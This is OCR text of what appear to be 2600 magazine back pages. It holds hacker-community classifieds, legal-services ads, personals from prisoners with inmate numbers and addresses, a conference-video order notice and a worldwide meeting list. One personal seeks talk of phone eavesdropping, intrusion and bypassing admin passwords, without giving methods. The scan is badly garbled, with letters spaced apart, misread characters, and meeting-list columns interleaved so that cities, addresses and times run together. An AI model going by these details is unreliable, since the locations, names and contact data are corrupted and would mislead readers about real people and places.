omar@ stanforda l u m n i . org, or at 506 Broadway, San Fra nc isco, CA 
94 1 33-4507.  Comp l i mentary case consu l tat i o n .  A l l  consultat ions 
a re str ict ly confident ia  I and protected by the attorney-c I ient pr iv i  lege. 
I NCARCERATED 2600 MEMBER NEEDS COMMU N ITY HElP 
to bu i ld  content i n  free c lass ified ad and " l oc a l  bus i ness d i rec­
tory" i n  50 countries. John Lambros, thf' foundf'r of Boycott B ra z i l ,  
has l a u nched a FREE  c lass ified a d ,  w a n t  a d ,  and loca l bus i ness 
d i rectory i n  5 0  global ma rkets. The miss ion i s  s imple :  "fref' help 
to b i l l i ons of peop le locat ing jobs,  housi ng, goods and services, 
soc i a l  activities, a g i r l fr iend or boyfriend, comm u n ity i nformat ion,  
and j u st about  a nyth ing e l se i n  over one m i l l ion neighborhoods 
throughout the world - all for FREE. H E L P  M E  OUT! SPREAD T H E  
WOR D !  Please v i s i t  www. NoPayClass ifieds.com and add some 
content. I t  w i l l  take a l l  of five or ten m i nutes. L i n ks to " N o  Pay 
Class i fieds" a re a l so great ly appreciated. 
B LACK OF HAT BLOC. Free <. :omputer progra ms that help you 
ach ieve questionable ends. Hacker i nformation of i nterest. Visit 
http://b lack-of-hat .b logspot.com. Sa mple  progra ms tit les - Crawl, 
C l i c k, and S i teScan .  
B E E N  ARRESTED F O R  A COMPUTER OR TECH NOLOGY 
RELATED CRIME? Have a n  idea, i nvention, or bus i ness you 
want to buy, se l l ,  protect, or ma rket? Wish your attorney actu a l l y  
understood y o u  w h e n  y o u  spea k? The L a w  Office of M i c h a e l  B .  
G reen, Esq. i s  the solut ion to your 2 1 st century lega l problems.  
Former SysOp and member of many private BBS's  s i nce 1 98 1  
now ava i lab le  t o  d i rectly represent you or br idge t h e  com m u n i ca­
t ions gap and assist  your cu rrent lega l counse l .  Extremely deta i led 
knowledge regard ing c r i m i n a l  and c i v i l  l i a b i l ity for computer and 
technology re lated act ions  ( 1 8  U . S . c. 1 02 8 ,  1 02 9 ,  1 030, 1 03 1 ,  
1 3 4 1 , 1 3 42, 1 343, 2 5 1 1 , 2 5 1 2 ,  ECPA, DMCA, 1 996 Telecom Act, 
etc . ) ,  doma i n  name d isputes, i nte l lectua l  property matters such 
as copyrights, tradema rks, l i censes and acquis i t ions,  a s  well as  
genera l bus i ness and corporate law.  Over 1 1  years  experience as 
i n-house lega l counsel to a computer consult ing bus i ness a s  wel l  
as  an  over 2 0  yea r background i n  computer, telecom m u n i cat ions,  
and technology matters. Pub l i shed law review a rt i c l es, contributed 
to nat iona l l y  p u b l i shed books, and submitted briefs to the U n ited 
States Supreme Court on I nternet and technology re lated issues.  
Adm i tted to the U.S.  Supreme Court, 2 n d  C i rc u i t  Court of Appea ls,  
U.S.  D i str ict Court for the Southern and Eastern D i str i cts, a n d  a l l  
New York State courts as  wel l  as  fa m i l i a r  with other j u r i sd i ct ions 
as  wel l .  Many attorneys wi l l  take your case without any consider­
at ion of our cu l ture and w i l l  see you merely as  a sou rce of fees or 
worse, with i l l-conceived prejud ices. My office understa nds our 
c u l t u re, i s  sympathet ic  to your situation, a n d  w i l l  treat you with 
the respect and understand ing you deserve. No fee for the i n it i a l  
and confidentia l  consu l tat ion a n d ,  i f for any reason w e  can not h e l p  
y o u ,  we w i l l  even t r y  t o  f i n d  someone e lse w h o  can at no charge. 
So you have noth i n g  to lose and perhaps everyt h i n g  to ga i n  by 
contact ing  us first.  V is i t  us at: http://www.com putorney.com or c a l l  
5 1 6-9WE - H E L P  ( 5 1 6-993-43 5 7).  
HAVE A PROBLEM WITH THE LAW? DOES YOU R  LAWYER 
NOT U N DERSTA N D  YOU I  Have you been cha rged with  a 
computer related cr ime? Is someone threate n i ng to sue you 
for somet h i ng technology related? Do you j ust need a lawyer 
that u ndersta nd I T  and the hacker cu lture? I 've p u b l i shed and 
presented at HOPE and Defeon on the law fac i ng technology 
profess iona ls  and hackers a l i ke .  I ' m both a lawyer and an IT 
profess ion a l .  Adm itted to practice law in Pennsylva n i a  and N ew 
J ersey. Free consu ltat ion to 2600 readers. http://m uentzlaw.com 
a l e x @ m uentzlaw.com (2 1 5 ) 806-4383 

Announcemen ts 
OFF THE HOOK is the weekly  one hour hacker radio show 
presented Wednesday n i ghts at 7 :00 pm ET on WBAI 9 9 . 5  

www.2 600.com/offthehook. Archives of a l l  shows d a t i n g  b a c k  t o  
1 988 can be fou n d  at  the 2600 s i te i n  mp3 forma t !  Shows from 
1 988-2007 a re now ava i l a b l e  in DVO-R h igh f idel i ty a u d i u  fur  o n l y  
$ 1 0  a yea r or  $ 1 5 0  for a l i fet i me subscript ion.  S e n d  c h e c k  or money 
order to 2600, PO Box 752, Middle  Island, N Y  1 1 95 3  U SA or order 
through our o n l i ne store at http://store.2 600.com. You r  feedback on 
the program i s  a l ways welcome at oth @2600.com. 
CHEER1 0S.COM. News Syndicate from the U n dergrou n d !  Post ing 
or ig ina l  and reposted news about  th(' hacking and p h rea k ing world. 
Regu l a r l y  posted a n d  looking for news submissions from membprs.  
http://www.cheer1 0s.com 
THE HACKERS YOUTUBE. Video shar ing com m u n i ty for 
uploading and watc h i n g  strea ming hacki ng, maddi ng, and 
u nderground v i deos that the commun ity can re l y  on to del iver 
q u a l ity content to a nyone w i l l ing to take the time to l earn.  
http://www. veryangrytoad.com 
THE HIGH W E I R D N ESS PROJ ECT. We a re a SubGe n i u s  wiki  
seeking submissions of strange, controvers i a l ,  subversive, and 
above a l l  S lackful  sou rces of i nformat i o n .  We do not fo l low a 
so-ca l led "neutral  point  of v iew" - p lease make your  entries as 
bi ased as you want, as  long as they're in tere�t ing !  Sp('c i a l  sect ions 
dedicated to i nformation warfare, software, consp i ra c i es, re l i gion 
and skepti c i sm, and more. Check us out:  www. modemac.com. 

Personals 
OLE TIME HACKER " BOOTLEG" NEEDS HELP.  I 've been in federa l 
pri son these past two years and I got il letter i nform i n g  me my hous(' 
i s  being forec losed and i s  due to be sold in February of 2 009 due 
to me not being ab le  to make any more mortgage paympnts unt i l  I 
get out of here in May 2009.  l owe about $50,000 on my mortgage. 
I need about $ 2 0,000 before Februa ry 2 009 to save my home. If 
you can help me, p lease send a bank check for any amount you 
can spare to Federa l B u reau of Prisons, M i ke Heketic, 5 6 5 5 2-065,  
PO Box 47470 1 ,  Des Moi nes, Iowa 50947.  On the check,  ma k£, 
sure you i n c l ude my i nmate n u m ber ("pay to the order of Michael  
Beket ic  5 6 5 5 2 -065") .  You can wr i te me at:  M i ke Beketk, 5 6 5 5 2 -
0 6 5 ,  Federa l Detent ion Center, PO B o x  1 3 900, Seatt le,  W A  9 8 1 98-
1 090. The hacker comm u n ity i s  the only  HOPE I have left  to save 
my home. 
I NTERESTED I N  REAL WORLD HACKI NG: Loo k i n g  to bra i n­
storm v i a  m a i l  (for the i ncarcerated), ema i l ,  i nsta nt messagi nSt and 
eventu a l l y  over  phone.  Know anyth ing about  locks,  safes, phone 
eavesdroppi ng, scanners, or  being i n  or  at p laces when a n d  where 
you don't belong? I want to ta l k  rea l shop, trade ideas, thoughts, 
etc. Wi l l  com m u n icate with a l l ,  i n c l u d i n g  those down as I have 
been there seven stra ight.  Contact i nfo: HF, PO Box 3 2 02 78, Cocoa 
Reach, F l  32932 - better yet, username M i sterh083 on Yahoo 1M, 
AOl 1M, & gma i l .  Can you bypass Wi ndows X P  Pro adm i n  pass­
word? Know phone boxes? Mycology? Thanks for readi ng. Shout 
out to Stormbringer - 083;  keep your chin up. 
23 YEAR OLD SERVING 2 YEARS i n  Sheridan, Oregon for hacking 
i nto AT&T p l u s  many other Vol P  providers. F i rst to be c h a rged with 
Vol P  c r i mes. Featu red on America's Most Wa nted with  K .  Mitn ick .  
looking for  ANYONE to wr i te  me. Check freerobert . com for  more 
i nfo. 
COUNTER-INTELLIGENCE, HACKING, computer related counter­
measures. Former inte l l igence officer i nterested in new computer 
related tE'Chnology. I n  search of friends, contacts, a n d  worldwide 
penpa ls  any age, race, or  orientat ion. If poss i b l e, i n c l ude photo 
with letter. No n u d ity, polaroids, or i n mate ma i l .  Spa n i s h  or Eng l i sh  
OK.  I p u rchase maga z i n es, books, u n u s u a l  p ictures with my own 
funds. WM, 6' ,  1 80, b l onde, brown - w i l l  respond to a l l .  In terested 
in i nfo on f inanc ia l  privacy, offshore trusts, hacki ng, and cou nter­
in te l l i gence. D. Corye l l ,  T-68 1 2 7, PO Box 8504, D3-247up, Coa l ­
i nga, C A  932 1 0. 

ONLY SUBSCRIBERS CAN ADVERTISE IN 26001 Don't even th ink 
about try ing to take out an ad un less you subscribe! A l l  ads are free 
and there is no amount of money we w i l l  accept for a non-subscriber 
ad.  We hope that's c lear. Of course, we reserve the right to pass 
judgment on your ad and not print it i f  it's amazingly stupid or has 
noth ing at a l l  to do with the hacker world.  We make no guarantee 
as to the honesty, righteousness, sanity, etc. of the people advert i S ing 
here. Contact them at your peri l .  A l l  submissions are for ONE ISSUE 
ONLY !  If you want to run your ad more than once you must resubmit it 
each t ime. Don't expect us to run more than one ad for you i n  a single 
issue either. Inc l ude your address label/envelope or a photocopy so 
we know you're a subscri ber. Send your ad to 2600 Marketplace, PO 
Box 99, Middle Is land, NY 1 1 95 3 .  You can a l so ema i l  your ads to 
subs@2600.com. Be sure to i n c l ude your subscriber cod i ng (those 
numbers on the top of your ma i l i ng label) for verification. 

FM i n  N ew York C ity. You can a l so tune i n  over the net at  Deadline for Spring issue: 2125/09. 
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"aPE OliOS 

". liE L._DED 
Over 1 00 DVDs from last July ' s  HOPE Conference . Everything 

from lockpicking to social engineering to phone phreaking to 

hacking of all sorts . Speakers from Jello Biafra to Kevin Mitnick to 

Adam Savage to Steven Levy to so many more . 

Obviously we can ' t  list them all here but if you go to 

http : //store . 2600 . com/lasthopevideos .html you can see all of the 

details and order them from the comfort of your computer ! 

You can also get the whole package for $400 and see 

every talk from all three speaker tracks . Or you can get 

5 talks for $40 , 1 0  for $75 , 25 for $1 50 , or 50 for $250 . 
You can also get a single talk for $1 0 .  Check the store for 

the list of talks or ask us to mail you one . 

To order direct, send a check or money order (U. S .  funds) to: 
2600 

PO Box 752 
Middle Island, NY 1 1 953 USA 
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/// think we agree, the past is over. /I - George W Bush 
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ARGENTINA 
Buenos Aires: Tbe "Cruzat Beer 
House" bar, Sarm iento ' n'  7 (first 
floor, Paseo La Plaza). 

AUSTRALIA 
Melbourne: Caffeine at ReVa u l t  Bar, 
1 6  Swanston Walk, neaf Melbourne 
Central Shoppi n g  Centre. 6:30 pm 
Sydney: The Crystal Pa l ace, front 
bar/bistro, opposite the bus station 
area on George St at Centra l Station. 
" pm 

AUSTRIA 
Graz: Cafe Ha lteste l l e  on 
J a kom i n i p latz. 

BRAZIL 
Belo Horizonte: Pelego's Bar at 
Assufeng, near the payphone. 6 pm 

CANADA 
Alberta 

Calgary: Eau C l a i re Market food 
court by the bland yel l ow wal l .  
6 pm 

British Columbia 
Kamloops: Heros Pub, TRU 
U n iversity campus. 

Manitoba 
Winnipeg: St. Vital Shopping Centre, 
food court by HMV. 

New Brunswick 
Moncton; Champla in  M a l l  food 
court, near KFC. 7 pm 

Newfoundland 
St. John's: Memori a l  U n iversity 
Center Food Court (in front of the 
Dairy Queen) .  

Ontario 
Guelph: W i l l iam's Cuffee Pub, 4q2 
fdinbourgh Rd S .  7 pm 
Ottawa: World Exchange Plaza, 1 1 1  
A l bert St, second floor. 6 :30 pm 
Toronto: Free Times Cafe, Col lege 
and Spdd i n a .  
Windsor: U n iverSity of Windsor, 
CAW Student Center commons ared 
by Ihe largp w i ndow, 7 pm 

Quebec 
Montreal: Bell Amphi theatre, 1 000, 
rue de l J  Gaucheticw 

CHINA 

I RELAND 
Dublin: At the phone booths on 
Wick low 51 bes ide Tower Records. 
7 pm 

ITALY 
Milan: Piazza Loreto in front of 
McDonalds. 

JAPAN 
Tokyo: linux Cafe in Aki habara 
district. 6 rm 

MEXICO 
Chetumal: Food Court at La Plaza 
de Americas, right front near I ta l i a n  
food. 
Mexico City: "Zocalo" Subway 
Station ( L i ne 2 of the "METRO" 
subway, the blue one).  At the 
"Departamento del D i str ito Federal" 
exit, near the payphones and the 
candy shop, at the beg i n n i ng of the 
"Zoca lo-Pino Suarez" tunnel .  

NEW ZEALAND 
Auckland: London Bar, upstai rs, 
Wel lesley St, Auckland C(>ntral 
5:30 pm 
Christchurch: Java Cafe, corner of 
H igh St and Manchester SI. 6 pm 
Wellington: Load Cafe i n  Cuba 
Ma l l .  6 pm 

NORWAY 
Oslo: Oslo Scntra! Tra i n  Stat ion. 
7 pm 
Tromsoe: The upper floor at B laa 
Ro(k Cafe, Strandgata 14.  6 pm 
Trondheim: Rick's Cafe in 
Nordregate. 6 pm 

PERU 
Lima: Barb i lonia (ex Apu Bar), en 
Alcanfores 455, M i raflores, at the 
end of Tarata SI. 8 pm 

SOUTH AFRICA 
Johannesburg (Sandton City): 
Sandton food court. 6:30 pm 

SWEDEN 
Stm.."kholm: Outside Lava . 

SWITZERLAND 
Lausanne: I n  front of the MacDo 
bes ide the tra i n  station.  7 pm 

UN ITED STATES 
Alabama 

Hong Kong: Pacif ic Coffcp i n  Auburn: The student lounge up<,ta irs 
�esliv,ll Wa lk. Kowloon Ton!4. 7 pm i n  the Foy U n ion B u i ld i n g .  7 pm 

CZECH REPUBLIC Huntsville: Sianl ico's Suh Vil la on 
Prague: I e!4enda puh. 6 pm Jorddn l.a nc. 

DENMARK Tuscaloosa: Md':.HI,lIld M,d l  food 
Aalborg: Fdq �.ddie's pool h a l l .  court n e a r  t h e  iront entl·,lIln'. 
Aarhus: I n the LH cOrl1pr of til{' DSB Arkansas 
('lip in  thl' <,tJl ion Ft.  Smith: Rockhouse Cotfep, l S 0 1  
Copenhagen: B idSf'll Old Greenwood Rd.  (, pm 
Sonderborg: Clfe Drupn. 7:JO pm Arizona 

EGYPT Phoenix: U n l i m i tpd Coffl'l' (74 1 F. 
Port Said: At th(' ioot of tht, Obe l i <,k C lpntJ, de Ave!.  6 p m .  
{ E i  Missa l l dhl .  California 

ENGLAND Los Angeles: Ull i (Hl St,l t iorl,  corlwr 
Brighton: At thc phone hOl(t''> UV the of Ma( y &. Aldrnp(Ja.  I Il':o idf' m a i n 
S(,,1 1 if(' ("pnlrf' {dUOS'> Ihl' rn,HI frolll ('ntr,lncp by Ildnk of phont's 
the Palace Pier). P;lyphone: (0 1 2 n )  (2 1 J ) 972 ·95 1 9 . 9520;  
606fJ74. 7 pm 91)24; 6 1 3-9704, 974(i.  
Kent: At the end of the bus ':otatian Monterey: Mucky Duck, 479 
opposite W i l k i nsons, Canterbury. Alvar,j(lo SI. 5 : 3 0  p m .  
6:JO pm Sacramento: Round Tdble PiZL<l <It 
London: Tro(.:ldE'ro Shoppi n !4  CenlE'r 1 2 7  K SI. 
(near Picc.a d i l l y  C i rcus),  100\'esl San Diego: Regents Pizza, 4 1 5 0  
leve l .  fd O  p m  Regents Park Row # 1 70. 
Manchester: Bulls Head Pub on San Francisco: 4 Embarcadero Pldza 
London Rd. 7 : 3 0  pm ( i nsidpl .  5 : 3 0  pm 
Norwich: Borders entrance to San Jose: Outside the cafe ,It the 

Melbourne: House of Joe Coffee 
House, 1 2 2 0  W New Haven Ave. 
6 pm 
Tampa: U n iversity M a l l  in the 
back of the food court on the 2 nd 
floor. 6 pm 

Georgia 
Atlanta: Lenox M a l l  food court. 
7 pm 

Hawaii 
Hilo: Pri nce Kuhio Plaza food court. 

Idaho 
Boise: BSU 5tudent U n ion B u i l d i ng, 
upstairs from the m a i n  entrance, 
Payphones: (208) 342-9 700, 9701 . 
Pocatello: College Market, 604 
S 8th SI. 

I l linois 
Chicago: Neighborhood Boys a nd 
G i rl s  C l ub, 2501 W Irving Park 
Rd. 7 pm 

Indiana 
Evansville: Barnes and Noble cafe at 
624 S Green River Rd. 
Ft. Wayne: Glenbrook M a l l  food 
court in front of Sharro's. 6 pm 
Indianapolis: Mo'Joe Coffee House, 
222 W Mich igan SL 

Iowa 
Ames: Memorial Union B u i ld ing 
food courl dl the Iowa State 
U n iversity. 

Kansas 
Kansas City (Overland Park): Oak 
Park Ma l l  food court. 
Wichita: Riverside Perk, 1 1 44 
B itt i n g  Ave. 

Louisiana 
Baton Rouge: I n  the LSU Union 
B u i l d i ng, between the Tiger Pause & 
McDonald's .  6 pm 
New Orleans: Tot? Coffee House 
uptown at 82 1 0 Oak 5t. 6 pm 

Maine 
Portland: Maine Mall by the bench 
al the food courl door. 6 pm 

Maryland 
Baltimore: Barnes &. Noble cafe at 
the I n ner Harbor. 

Massachusetts 
Boston: Strdlton Student Center 
( K u i l d i ng W20) at MIT in the 2 n d  
floor lou nge a r C d .  6 pm 
Marlborough: Solomon Park M.l l l  
food ( our!. 6 pm 
Northampton: I)()w nstd ir�  of 
H,lyma rkf't Clff'. h pm 

Michigan 
Ann Arbor: Stdrbu(ks i n  l h e  
C,d lE'ria O il  S U n iversity. 

Minnesota 
Bloomington: M,l l l  of America. 
north side food court, lwtwl'cn 
the Dd i ry Qucen and thc Grf'ck 
food pldfe 

Missouri 
Kansas City (Independence): BartleS 
&. Noblc, 1 9 1 2 0 [ 3 9th St. 
St. Louis: Gal leria Food Court. 
Springfield: Borders Books 
and Music coffees hop, '3 lOO S 
C l (>nston(:' Ave, one block south of 
Bdttlefield Mdl l .  1) : 3 0  pm 

Nebraska 
Omaha: Crossroads M a l l  Food 
Court. 7 pm 

Chapf'lfield Mal l .  6 pm MLK L ibrary at 4th and E San Nevada 
FI NLAND Fernando. 6 p m  Las Vegas: reJAVAnate Coffee, 3 3 0 0  

Helsinki: Ff'n n iakorlle ! i  food court Tustin: P,lnera Bredu, ins ide The E r l a m i ngo Rd (at Pecos). 7 pm 
\Vuori katu 1 4) .  District shopp ing center (corner of New Mexico 

FRANCE Jamboree and Barranca). 7 pm Albuquerque: U n iversity of Npw 
Lille: Grand-Place (Place Charles de Colorado Mf'xico Student U n ion B u i l d i n g  
Caul le )  i n  front of t h e  Furet du N o r d  Boulder: Wing ZonE' food court, (plaza "lower" level lou ngel, m a i n  
bookstore. 9 pm 1 3 th and Col lege. 6 pm cdmpus. Pdyphones: 505-843-903 3 ,  
Paris: Place de la  Repunl i que, near Lakewood: Barnes and Noble i n  S05-843-9034. 5 : 3 0  p m  
t h e  {(lmpty) founta i n .  6 : 3 0  p m  the Denver West Shopping Center, New York 
Rennes: I n  front of the stan" 1 4347 W Colfax Ave. New York: Cit igroup Center, i n  
" B l u e  Box" close t o  Place de 1 ,1  District o f  Columbia the lobby, 1 5 3 E 5 3 rd St, between 
Republ ique. 8 pm Arlington: Pentagon C ity M a l l  by Lexi ngton & 3rd.  
Rouen: Place de la  Catl1('drale by the phone booths next to Panda Rochester: Panera Bread, 2373 W 
the benches in front. H pm Express. (, pm R idge Rd. 7 : 3 0  pm 

G REECE Florida North Carolina 
Athens: Outside the bookstore Gainesville: In the back of the Charlotte: Panera Bread Company, 
Papasotir iou on the corner of U n i versity of florida's Reitz U n i o n  9 3 2 1  JW Clay B l vd (near UNC 

Raleigh: Royal Bean coffee shop, 
3801  H i l l sborough St (next to the 
Playmakers Sports Bar and across 
from Mered ith Col l ege). 

North Dakota 
Fargo: West Acres M a l l  food court 
by the Taco John's. 6 p m  

Ohio 
Cincinnati: The Brew House, 1 047 E 
McM i l l a n .  7 pm 
Cleveland: U n iversity C i rcle 
Arabica,  1 1 300 J u n i per Rd. U pstai rs, 
turn right, second room on left. 
Columbus: Easton Town Center 
at the food court across from the 
i ndoor fountai n .  7 pm. 
Dayton: TGI Friday's off 725 by thp 
Dayton M a l l .  

Oklahoma 
Oklahoma City: Cafe Bel la,  
southeast corner of SW 89th St 
and Pen n .  
Tulsa: Promenade M a l l  food court. 

Oregon 
Portland: Backspace Cafe, 1 1 5  NW 
5th Ave. 6 pm 

Pennsylvania 
Allentown: Panera Bread, 3 1 00 W 
Ti lghman St. 6 pm 
Harrisburg: Pdnera Bread, 4263 
Union Deposi t  Rd . 6 pm 
Philadelphia: 30th St Station, 
southeast food court near m i n i  
post office. 
Pittsburgh: Panera Bread on B l vd 
of the A l l ies near Pitt and eMU 
campuses. 7 pm 
State College: i n  the HUB above 
the Sushi place on the Penn State 
Cdmpus. 

South Carolina 
Charleston: Northwoods Ma l l  i n  the 
hall between Sears and Chik-F i l-A. 

South Dakota 
Sioux Falls: Empire Mal l ,  by Burger 
King.  

Tennessee 
Knoxville: Borders Books Cafe 
across from Westown M a l l .  
Memphis: Republ iC  Coffpf', 2 9 2 4  
Wa lnut  Grove Rd. 6 p m  
Nashville: Vanderb i l t  U n iversity 
H i l l  Center, Room 238, 1 2 3 1  1 8th 
AVf' S. 6 pm 

Texas 
Austin: Spi der HousE' Clfe. 290H 
huth St, front room a( ross from thp 
bdr. 7 pm 
Houston: N i nfd's hprcss i n  t rollt ot 
Nordstrom's in the Gal leria Mil i i .  

Utah 
Salt Lake City: ZCMI M,l l l  in The 
P&k food Court. 

Vermont 
Burlington: Borders Bonks at 
Church St and Cherry SI on thp 
second floor of the (',lfp 

Virginia 
Arlington: (see D istrict of Columbia!  
Blacksburg: S q U i res Student Centef 
at Virg i n i a  Tech, 1 1 fl N .  Main St. 
7 pm 
Charlottesville: Panera Bread at thp 
Barracks Road Shopp ing Center. 
6 : 3 0  pm. 
Virginia Beach: Lynnhaven Mal l  on 
Lynnhaven Parkway. 6 pm 

Washington 
Seattle: Washi ngton State 
Convention Center. 2 n d  level, south 
side. (, pm 
Spokane: Coffee Station, 93 1 5  N 
Nevada ( North Spokanel. 6 pm 

Wisconsin 
Madison: Fa i r  Trade Coffee House, 
4 1 8  State 51. 

All meetings take place on 
the first Friday of the month. 
Unless otherwise noted, they 

start at 5 pm local time. To start 
a meeting in your city, send 

email to meetings@2600.com. 
Patision and Stou rna r i .  7 pm food court.  6 p m  Charlotte). 6 : 3 0  pm 
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